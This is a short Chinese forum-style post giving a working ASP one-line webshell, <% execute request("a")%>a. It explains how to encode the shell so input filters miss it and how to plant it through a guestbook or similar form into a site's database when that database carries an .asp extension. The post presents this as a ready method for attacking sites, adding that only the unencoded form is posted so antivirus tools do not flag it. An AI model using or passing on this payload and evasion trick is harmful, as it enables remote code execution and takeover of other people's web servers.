一句话***的加密，个人感觉，如果碰上了asp后缀的数据库，而且猜出了数据库的路径，那简直就是管理员的恶梦。因为加密后的一句话***没有任何asp的 标示符！我们只要随便找个可以提交信息的页面，比如说留言板什么的都可以，就可以把一句话***插到数据库里面。而加密后的一句话***是不会被过滤的。
       加密用的工具是ANSI2Unicode
       这个一句话要精心构造，加密后的一句话不能有"?"。我自己试验了好久，都没有搞定个别的问号。最后在网上看到一篇帖子，终于知道了怎么写这个一句话才不 会出现问号。格式是：“<% execute request("a")%>”这是我在网上看到的。但是这句加密后最后会有个">"，有被过滤的可能。我就又在最后加了一个"a",也就是 “<% execute request("a")%>a”加密后就完全没有asp标示符了，所以肯定不会被过滤掉，基本上是无敌插入了。
       注意，这个一句话看似很普通，但是最重要的地方在%后面的那个“空格”和括号里面的那个"a"！如果不这样很有可能加密后会出现“?”。
       由于担心加密后的一句话直接在网上贴出来，如果贴的多了，有可能被杀软盯上，（只是担心，我也不知道会不会）所以就只提供加密前的格式，需要的可以下去自己加密。

by:http://www.cqzh.cn/